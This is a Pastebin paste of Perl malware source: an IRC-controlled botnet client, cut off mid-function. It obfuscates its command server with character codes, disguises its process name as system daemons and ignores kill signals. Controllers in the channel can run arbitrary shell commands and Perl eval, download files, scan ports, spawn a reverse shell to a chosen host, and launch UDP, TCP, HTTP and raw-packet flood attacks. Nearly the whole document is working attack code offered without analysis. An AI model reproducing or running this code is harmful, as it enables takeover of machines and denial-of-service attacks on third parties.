Advertisement
Guest User

Untitled

a guest
Jul 12th, 2014
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.26 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. my @rps = ("root@pts/2","[block]","auditd","[auditd]","init","root@pts");
  4. my $processo =$rps[rand scalar @rps];
  5. my $section =chr(105) . chr(114) . chr(99) . chr(46) . chr(110) . chr(101) . chr(116) . chr(115) . chr(46) . chr(104) . chr(107);
  6. my $porta =chr(54) . chr(48) . chr(55) . chr(55) . chr(54);
  7. my @interval =chr(35) . chr(119) . chr(101) . chr(108) . chr(99) . chr(111) . chr(109) . chr(101);
  8. my @location =chr(103) . chr(111) . chr(100);
  9. my $mapp =chr(103) . chr(111) . chr(118);
  10. push(@location,$mapp);
  11.  
  12. my $linas_max=6;
  13. my $sleep=3;
  14.  
  15. my $nick = getnick();
  16. my $ircname = getident2();
  17. my $realname = `whoami`;
  18.  
  19. my $acessoshell = 1;
  20. my $prefixo =chr(33) . chr(97) . chr(108) . chr(108);
  21. my $estatisticas = 1;
  22. my $pacotes = 1;
  23.  
  24. my $VERSAO = '0.2a';
  25.  
  26. $SIG{'INT'} = 'IGNORE';
  27. $SIG{'HUP'} = 'IGNORE';
  28. $SIG{'TERM'} = 'IGNORE';
  29. $SIG{'CHLD'} = 'IGNORE';
  30. $SIG{'PS'} = 'IGNORE';
  31.  
  32. use IO::Socket;
  33. use Socket;
  34. use IO::Select;
  35. #chdir("/");
  36. $section="$ARGV[0]" if $ARGV[0];
  37. $0="$processo"."\0";
  38. my $pid=fork;
  39. exit if $pid;
  40. die "Problema com o fork: $!" unless defined($pid);
  41.  
  42. my %irc_servers;
  43. my %DCC;
  44. my $dcc_sel = new IO::Select->new();
  45.  
  46. savepid();
  47.  
  48. sub savepid {
  49. open MYFILE, ">.ICE-linux" or die "open 'pid' failed: $!";
  50. printf MYFILE "$$\n";
  51. close MYFILE;
  52. }
  53.  
  54. sub getnick {
  55. return "gov".int(rand(100000));
  56. }
  57.  
  58.  
  59. sub getident {
  60. return gov.int(rand(100000));;
  61. }
  62.  
  63. sub getname {
  64. return gov.int(rand(100000));;;
  65. }
  66.  
  67. sub getident2 {
  68. my $length=shift;
  69. $length = 3 if ($length < 3);
  70.  
  71. my @chars=('a'..'z','A'..'Z','1'..'9');
  72. foreach (1..$length)
  73. {
  74. $randomstring.=$chars[rand @chars];
  75. }
  76. return $randomstring;
  77. }
  78.  
  79. sub getstore ($$)
  80. {
  81. my $url = shift;
  82. my $file = shift;
  83.  
  84. $http_stream_out = 1;
  85. open(GET_OUTFILE, "> $file");
  86. %http_loop_check = ();
  87. _get($url);
  88. close GET_OUTFILE;
  89. return $main::http_get_result;
  90. }
  91.  
  92. sub _get
  93. {
  94. my $url = shift;
  95. my $proxy = "";
  96. grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  97. if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  98. my $host = $1;
  99. my $port = $2 || 80;
  100. my $path = $3;
  101. $path = "/" unless defined($path);
  102. return _trivial_http_get($host, $port, $path);
  103. } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  104. my $host = $1;
  105. my $port = $2;
  106. my $path = $url;
  107. return _trivial_http_get($host, $port, $path);
  108. } else {
  109. return undef;
  110. }
  111. }
  112.  
  113.  
  114. sub _trivial_http_get
  115. {
  116. my($host, $port, $path) = @_;
  117. my($AGENT, $VERSION, $p);
  118. #print "HOST=$host, PORT=$port, PATH=$path\n";
  119.  
  120. $AGENT = "get-minimal";
  121. $VERSION = "20000118";
  122.  
  123. $path =~ s/ /%20/g;
  124.  
  125. require IO::Socket;
  126. local($^W) = 0;
  127. my $sock = IO::Socket::INET->new(PeerAddr => $host,
  128. PeerPort => $port,
  129. Proto => 'tcp',
  130. Timeout => 60) || return;
  131. $sock->autoflush;
  132. my $netloc = $host;
  133. $netloc .= ":$port" if $port != 80;
  134. my $request = "GET $path HTTP/1.0\015\012"
  135. . "Host: $netloc\015\012"
  136. . "User-Agent: $AGENT/$VERSION/u\015\012";
  137. $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  138. $request .= "\015\012";
  139. print $sock $request;
  140.  
  141. my $buf = "";
  142. my $n;
  143. my $b1 = "";
  144. while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  145. if ($b1 eq "") { # first block?
  146. $b1 = $buf; # Save this for errorcode parsing
  147. $buf =~ s/.+?\015?\012\015?\012//s; # zap header
  148. }
  149. if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  150. }
  151. return undef unless defined($n);
  152.  
  153. $main::http_get_result = 200;
  154. if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  155. $main::http_get_result = $1;
  156. # print "CODE=$main::http_get_result\n$b1\n";
  157. if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
  158. ) {
  159. # redirect
  160. my $url = $1;
  161. return undef if $http_loop_check{$url}++;
  162. return _get($url);
  163. }
  164. return undef unless $main::http_get_result =~ /^2/;
  165. }
  166.  
  167. return $buf;
  168. }
  169.  
  170.  
  171. $sel_cliente = IO::Select->new();
  172.  
  173. sub sendraw {
  174. if ($#_ == '1') {
  175. my $socket = $_[0];
  176. print $socket "$_[1]\n";
  177. } else {
  178. print $IRC_cur_socket "$_[0]\n";
  179. }
  180. }
  181.  
  182. sub conectar {
  183. my $meunick = $_[0];
  184. my $servidor_con = $_[1];
  185. my $porta_con = $_[2];
  186.  
  187. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  188. if (defined($IRC_socket)) {
  189. $IRC_cur_socket = $IRC_socket;
  190.  
  191. $IRC_socket->autoflush(1);
  192. $sel_cliente->add($IRC_socket);
  193.  
  194. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  195. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  196. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  197. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  198. nick("$meunick");
  199. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  200. sleep 2;
  201. }
  202.  
  203. }
  204. my $line_temp;
  205. while( 1 ) {
  206. while (!(keys(%irc_servers))) { conectar("$nick", "$section", "$porta"); }
  207. delete($irc_servers{''}) if (defined($irc_servers{''}));
  208. &DCC::connections;
  209. my @ready = $sel_cliente->can_read(0.6);
  210. next unless(@ready);
  211. foreach $fh (@ready) {
  212. $IRC_cur_socket = $fh;
  213. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  214. $nread = sysread($fh, $msg, 4096);
  215. if ($nread == 0) {
  216. $sel_cliente->remove($fh);
  217. $fh->close;
  218. delete($irc_servers{$fh});
  219. }
  220. @lines = split (/\n/, $msg);
  221.  
  222. for(my $c=0; $c<= $#lines; $c++) {
  223. $line = $lines[$c];
  224. $line=$line_temp.$line if ($line_temp);
  225. $line_temp='';
  226. $line =~ s/\r$//;
  227. unless ($c == $#lines) {
  228. parse("$line");
  229. } else {
  230. if ($#lines == 0) {
  231. parse("$line");
  232. } elsif ($lines[$c] =~ /\r$/) {
  233. parse("$line");
  234. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  235. parse("$line");
  236. } else {
  237. $line_temp = $line;
  238. }
  239. }
  240. }
  241. }
  242. }
  243.  
  244. sub parse {
  245. my $servarg = shift;
  246. if ($servarg =~ /^PING \:(.*)/) {
  247. sendraw("PONG :$1");
  248. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  249. my $pn=$1; my $onde = $4; my $args = $5;
  250. if ($args =~ /^\001VERSION\001$/) {
  251. notice("$pn", "\001VERSION mIRC v6.21 Khaled Mardam-Bey\001");
  252. }
  253. elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  254. notice("$pn", "\001PONG\001");
  255. }
  256. elsif (grep {$_ =~ /^\Q$pn\E$/i } @location) {
  257. if ($onde eq "$meunick"){
  258. shell("$pn", "$args");
  259. }
  260. elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  261. my $natrix = $1;
  262. my $arg = $2;
  263. if ($arg =~ /^\!(.*)/) {
  264. ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  265. } elsif ($arg =~ /^\@(.*)/) {
  266. $ondep = $onde;
  267. $ondep = $pn if $onde eq $meunick;
  268. bfunc("$ondep","$1");
  269. } else {
  270. shell("$onde", "$arg");
  271. }
  272. }
  273. }
  274. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  275. if (lc($1) eq lc($meunick)) {
  276. $meunick=$4;
  277. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  278. }
  279. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  280. $meunick = getnick();
  281. nick("$meunick");
  282. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  283. $meunick = $2;
  284. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  285. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  286. foreach my $canal (@interval) {
  287. sendraw("MODE $nick +x");
  288. sendraw("JOIN $canal");
  289. sendraw("PRIVMSG $canal :hello");
  290. }
  291. }
  292. }
  293.  
  294. sub bfunc {
  295. my $printl = $_[0];
  296. my $funcarg = $_[1];
  297. if (my $pid = fork) {
  298. waitpid($pid, 0);
  299. } else {
  300. if (fork) {
  301. exit;
  302. } else {
  303. if ($funcarg =~ /^portscan (.*)/) {
  304. my $hostip="$1";
  305. my @portas=("21","22","23","25","53","80","110","143");
  306. my (@aberta, %porta_banner);
  307. foreach my $porta (@portas) {
  308. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  309. if ($scansock) {
  310. push (@aberta, $porta);
  311. $scansock->close;
  312. }
  313. }
  314. if (@aberta) {
  315. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  316. } else {
  317. sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  318. }
  319. }
  320.  
  321. elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  322. getstore("$1", "$2");
  323. sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu&#1085;do!") if ($estatisticas);
  324. }
  325.  
  326. elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  327. my $hostname="$1";
  328. my $portainicial = "$2";
  329. my $portafinal = "$3";
  330. my (@abertas, %porta_banner);
  331. foreach my $porta ($portainicial..$portafinal)
  332. {
  333. my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  334. if ($scansock) {
  335. push (@abertas, $porta);
  336. $scansock->close;
  337. if ($estatisticas) {
  338. sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  339. }
  340. }
  341. }
  342. if (@abertas) {
  343. sendraw($IRC_cur_socket, "PRIVMSG $printl :Porturi deschise: @abertas");
  344. } else {
  345. sendraw($IRC_cur_socket,"PRIVMSG $printl :Nu este nici un port deschis.");
  346. }
  347. }
  348.  
  349. # Duas Vers&#1093;es simplificada do meu Tr0x ;D
  350. elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  351. return unless $pacotes;
  352. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  353. my $alvo=inet_aton("$1");
  354. my $porta = "$2";
  355. my $tempo = "$3";
  356. my $pacote;
  357. my $pacotese;
  358. my $fim = time + $tempo;
  359. my $pacota = 1;
  360. while (($pacota == "1") && ($pacotes == "1")) {
  361. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  362. $pacote=$rand x $rand x $rand;
  363. $porta = int(rand 65000) +1 if ($porta == "0");
  364. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  365. }
  366. if ($estatisticas)
  367. {
  368. sendraw($IRC_cur_socket, "NOTICE $printl :Done");
  369. }
  370. }
  371.  
  372. elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  373. return unless $pacotes;
  374. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  375. my $faixaip="$1";
  376. my $porta = "$2";
  377. my $tempo = "$3";
  378. my $pacote;
  379. my $pacotes;
  380. my $fim = time + $tempo;
  381. my $pacota = 1;
  382. my $alvo;
  383. while ($pacota == "1") {
  384. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  385. for (my $faixa = 1; $faixa <= 255; $faixa++) {
  386. $alvo = inet_aton("$faixaip.$faixa");
  387. $pacote=$rand x $rand x $rand;
  388. $porta = int(rand 65000) +1 if ($porta == "0");
  389. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  390. if ($faixa >= 255) {
  391. $faixa = 1;
  392. }
  393. }
  394. }
  395. if ($estatisticas)
  396. {
  397. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  398. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  399. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
  400. }
  401. }
  402.  
  403. # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p
  404. elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
  405. my $host = "$1";
  406. my $porta = "$2";
  407. my $proto = getprotobyname('tcp');
  408. my $iaddr = inet_aton($host);
  409. my $paddr = sockaddr_in($porta, $iaddr);
  410. my $shell = "/bin/sh -i";
  411. if ($^O eq "MSWin32") {
  412. $shell = "cmd.exe";
  413. }
  414. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  415. connect(SOCKET, $paddr) or die "connect: $!";
  416. open(STDIN, ">&SOCKET");
  417. open(STDOUT, ">&SOCKET");
  418. open(STDERR, ">&SOCKET");
  419. system("$shell");
  420. close(STDIN);
  421. close(STDOUT);
  422. close(STDERR);
  423.  
  424. if ($estatisticas)
  425. {
  426. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  427. }
  428. }
  429. elsif ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) {
  430. return unless $pacotes;
  431. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  432. my $alvo=inet_aton("$1");
  433. my $porta = "$2";
  434. my $dtime = "$3";
  435. my $pacote;
  436. my $pacotese;
  437. my $size = 0;
  438. my $fim = time + $dtime;
  439. my $pacota = 1;
  440. sendraw($IRC_cur_socket, "PRIVMSG $printl 4,1 [UDP-1 FlooD Attacking ".$1." On Port ".$porta." for ".$dtime." seconds. ");
  441. while (($pacota == "1") && ($pacotes == "1")) {
  442. $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  443. $pacote = $size ? $size : int(rand(1024-64)+64) ;
  444. $porta = int(rand 65000) +1 if ($porta == "0");
  445. #send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo));
  446. send(Tr0x, pack("a$pacote","Tar0x"), 0, pack_sockaddr_in($porta, $alvo));
  447. }
  448. sendraw($IRC_cur_socket, "PRIVMSG $printl [UDP-1 FlooD Attack for ".$1." finished in ".$dtime." seconds . ");
  449. }
  450. elsif ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) {
  451. sendraw($IRC_cur_socket, "PRIVMSG $printl Flodez ".$1." cu ".$2." Kb Pachete ".$3." secunde. ");
  452. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  453. $dtime = 1 if $dtime == 0;
  454. my %bytes;
  455. $bytes{igmp} = $2 * $pacotes{igmp};
  456. $bytes{icmp} = $2 * $pacotes{icmp};
  457. $bytes{o} = $2 * $pacotes{o};
  458. $bytes{udp} = $2 * $pacotes{udp};
  459. $bytes{tcp} = $2 * $pacotes{tcp};
  460. sendraw($IRC_cur_socket, "PRIVMSG $printl :GAME OVER !! ".$1." is DEATH. ");
  461. }
  462. elsif ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) {
  463. return unless $pacotes;
  464. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  465. my $alvo=inet_aton("$1");
  466. my $porta = "$2";
  467. my $dtime = "$3";
  468. my $pacote;
  469. my $pacotese;
  470. my $fim = time + $dtime;
  471. my $pacota = 1;
  472. sendraw($IRC_cur_socket, "PRIVMSG $printl 4,1 [UDP-3 FlooD Attacking ".$1." On Port ".$porta." for ".$dtime." seconds. ");
  473. while (($pacota == "1") && ($pacotes == "1")) {
  474. $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  475. $pacote= $rand x $rand x $rand;
  476. $porta = int(rand 65000) +1 if ($porta == "0");
  477. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  478. }
  479. sendraw($IRC_cur_socket, "PRIVMSG $printl [UDP-3 FlooD Results ".$pacotese." Kb in ".$dtime." seconds to ".$1.". ");
  480. }
  481.  
  482. elsif ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) {
  483. sendraw($IRC_cur_socket, "PRIVMSG $printl [TCP FlooD Attacking ".$1.":".$2." for ".$3." seconds. ");
  484. my $itime = time;
  485. my ($cur_time);
  486. $cur_time = time - $itime;
  487. while ($3>$cur_time){
  488. $cur_time = time - $itime;
  489. &tcpflooder("$1","$2","$3");
  490. }
  491. sendraw($IRC_cur_socket,"PRIVMSG $printl [TCP FlooD Attack ended on: ".$1.":".$2.". ");
  492. }
  493.  
  494. elsif ($funcarg =~ /^http\s+(.*)\s+(\d+)/) {
  495. sendraw($IRC_cur_socket, "PRIVMSG $printl [HTTP FlooD Attacking ".$1." on port 80 for ".$2." seconds. ");
  496. my $itime = time;
  497. my ($cur_time);
  498. $cur_time = time - $itime;
  499. while ($2>$cur_time){
  500. $cur_time = time - $itime;
  501. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  502. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  503. close($socket);
  504. }
  505. sendraw($IRC_cur_socket, "PRIVMSG $printl [HTTP FlooD Attacking ended on: ".$1.". ");
  506. }
  507. elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  508. return unless $pacotes;
  509. my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
  510. $dtime = 1 if $dtime == 0;
  511. my %bytes;
  512. $bytes{igmp} = $2 * $pacotes{igmp};
  513. $bytes{icmp} = $2 * $pacotes{icmp};
  514. $bytes{o} = $2 * $pacotes{o};
  515. $bytes{udp} = $2 * $pacotes{udp};
  516. $bytes{tcp} = $2 * $pacotes{tcp};
  517. unless ($estatisticas)
  518. {
  519. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
  520. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."s");
  521. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
  522. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
  523. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M&#1081;dia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
  524. }
  525. }
  526. exit;
  527. }
  528. }
  529. }
  530.  
  531. sub udpflooder {
  532. my $iaddr = inet_aton($_[0]);
  533. my $msg = 'A' x $_[1];
  534. my $ftime = $_[2];
  535. my $cp = 0;
  536. my (%pacotes);
  537. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  538. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  539. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  540. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  541. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  542. return(undef) if $cp == 4;
  543. my $itime = time;
  544. my ($cur_time);
  545. while ( 1 ) {
  546. for (my $port = 1;
  547. $port <= 65000; $port++) {
  548. $cur_time = time - $itime;
  549. last if $cur_time >= $ftime;
  550. send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
  551. send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
  552. send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
  553. send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
  554. for (my $pc = 3;
  555. $pc <= 255;$pc++) {
  556. next if $pc == 6;
  557. $cur_time = time - $itime;
  558. last if $cur_time >= $ftime;
  559. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  560. send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
  561. }
  562. }
  563. last if $cur_time >= $ftime;
  564. }
  565. return($cur_time, %pacotes);
  566. }
  567. sub ircase {
  568. my ($kem, $printl, $case) = @_;
  569.  
  570. if ($case =~ /^join (.*)/) {
  571. j("$1");
  572. }
  573. elsif ($case =~ /^part (.*)/) {
  574. p("$1");
  575. }
  576. elsif ($case =~ /^rejoin\s+(.*)/) {
  577. my $chan = $1;
  578. if ($chan =~ /^(\d+) (.*)/) {
  579. for (my $ca = 1; $ca <= $1; $ca++ ) {
  580. p("$2");
  581. j("$2");
  582. }
  583. } else {
  584. p("$chan");
  585. j("$chan");
  586. }
  587. }
  588. elsif ($case =~ /^op/) {
  589. op("$printl", "$kem") if $case eq "op";
  590. my $oarg = substr($case, 3);
  591. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  592. }
  593. elsif ($case =~ /^deop/) {
  594. deop("$printl", "$kem") if $case eq "deop";
  595. my $oarg = substr($case, 5);
  596. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  597. }
  598. elsif ($case =~ /^voice/) {
  599. voice("$printl", "$kem") if $case eq "voice";
  600. $oarg = substr($case, 6);
  601. voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  602. }
  603. elsif ($case =~ /^devoice/) {
  604. devoice("$printl", "$kem") if $case eq "devoice";
  605. $oarg = substr($case, 8);
  606. devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  607. }
  608. elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  609. msg("$1", "$2");
  610. }
  611. elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  612. for (my $cf = 1; $cf <= $1; $cf++) {
  613. msg("$2", "$3");
  614. }
  615. }
  616. elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  617. for (my $cf = 1; $cf <= $1; $cf++) {
  618. ctcp("$2", "$3");
  619. }
  620. }
  621. elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  622. ctcp("$1", "$2");
  623. }
  624. elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  625. invite("$1", "$2");
  626. }
  627. elsif ($case =~ /^nick (.*)/) {
  628. nick("$1");
  629. }
  630. elsif ($case =~ /^server\s+(\S+)\s+(\S+)/) {
  631. conectar("$2", "$1", 6667);
  632. }
  633. elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  634. DCC::SEND("$1", "$2");
  635. }
  636. elsif ($case =~ /^raw (.*)/) {
  637. sendraw("$1");
  638. }
  639. elsif ($case =~ /^eval (.*)/) {
  640. eval "$1";
  641. }
  642. elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) {
  643. sleep int(rand($2));
  644. j("$1");
  645. }
  646. elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) {
  647. sleep int(rand($2));
  648. p("$1");
  649. }
  650. elsif ($case =~ /^quit/) {
  651. quit();
  652. }
  653. elsif ($case =~ /^rnick/) {
  654. my $novonick = getnick();
  655. nick("$novonick");
  656. }
  657. elsif ($case =~ /^estatisticas (.*)/) {
  658. if ($1 eq "on") {
  659. $estatisticas = 1;
  660. msg("$printl", "Estat&#1085;sticas ativadas!");
  661. } elsif ($1 eq "off") {
  662. $estatisticas = 0;
  663. msg("$printl", "Estat&#1085;sticas desativadas!");
  664. }
  665. }
  666. elsif ($case =~ /^pacotes (.*)/) {
  667. if ($1 eq "on") {
  668. $pacotes = 1;
  669. msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  670. } elsif ($1 eq "off") {
  671. $pacotes = 0;
  672. msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  673. }
  674. }
  675. }
  676. sub shell {
  677. return unless $acessoshell;
  678. my $printl=$_[0];
  679. my $comando=$_[1];
  680. if ($comando =~ /cd (.*)/) {
  681. chdir("$1") || msg("$printl", "Diret&#1091;rio inexistente!");
  682. return;
  683. }
  684. elsif ($pid = fork) {
  685. waitpid($pid, 0);
  686. } else {
  687. if (fork) {
  688. exit;
  689. } else {
  690. my @resp=`$comando 2>&1 3>&1`;
  691. my $c=0;
  692. foreach my $linha (@resp) {
  693. $c++;
  694. chop $linha;
  695. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  696. if ($c >= "$linas_max") {
  697. $c=0;
  698. sleep $sleep;
  699. }
  700. }
  701. exit;
  702. }
  703. }
  704. }
  705.  
  706. #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
  707. sub attacker {
  708. my $iaddr = inet_aton($_[0]);
  709. my $msg = 'B' x $_[1];
  710. my $ftime = $_[2];
  711. my $cp = 0;
  712. my (%pacotes);
  713. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  714.  
  715. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  716. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  717. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  718. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  719. return(undef) if $cp == 4;
  720. my $itime = time;
  721. my ($cur_time);
  722. while ( 1 ) {
  723. for (my $porta = 1; $porta <= 65535; $porta++) {
  724. $cur_time = time - $itime;
  725. last if $cur_time >= $ftime;
  726. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  727. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  728. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  729. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  730.  
  731. # DoS ?? :P
  732. for (my $pc = 3; $pc <= 255;$pc++) {
  733. next if $pc == 6;
  734. $cur_time = time - $itime;
  735. last if $cur_time >= $ftime;
  736. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  737. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  738. }
  739. }
  740. last if $cur_time >= $ftime;
  741. }
  742. return($cur_time, %pacotes);
  743. }
  744.  
  745.  
  746. sub action {
  747. return unless $#_ == 1;
  748. sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  749. }
  750.  
  751. sub ctcp {
  752. return unless $#_ == 1;
  753. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  754. }
  755. sub msg {
  756. return unless $#_ == 1;
  757. sendraw("PRIVMSG $_[0] :$_[1]");
  758. }
  759.  
  760. sub notice {
  761. return unless $#_ == 1;
  762. sendraw("NOTICE $_[0] :$_[1]");
  763. }
  764.  
  765. sub op {
  766. return unless $#_ == 1;
  767. sendraw("MODE $_[0] +o $_[1]");
  768. }
  769. sub deop {
  770. return unless $#_ == 1;
  771. sendraw("MODE $_[0] -o $_[1]");
  772. }
  773. sub hop {
  774. return unless $#_ == 1;
  775. sendraw("MODE $_[0] +h $_[1]");
  776. }
  777. sub dehop {
  778. return unless $#_ == 1;
  779. sendraw("MODE $_[0] +h $_[1]");
  780. }
  781. sub voice {
  782. return unless $#_ == 1;
  783. sendraw("MODE $_[0] +v $_[1]");
  784. }
  785. sub devoice {
  786. return unless $#_ == 1;
  787. sendraw("MODE $_[0] -v $_[1]");
  788. }
  789. sub ban {
  790. return unless $#_ == 1;
  791. sendraw("MODE $_[0] +b $_[1]");
  792. }
  793. sub unban {
  794. return unless $#_ == 1;
  795. sendraw("MODE $_[0] -b $_[1]");
  796. }
  797. sub kick {
  798. return unless $#_ == 1;
  799. sendraw("KICK $_[0] $_[1] :$_[2]");
  800. }
  801.  
  802. sub modo {
  803. return unless $#_ == 0;
  804. sendraw("MODE $_[0] $_[1]");
  805. }
  806. sub mode { modo(@_); }
  807.  
  808. sub j { &join(@_); }
  809. sub join {
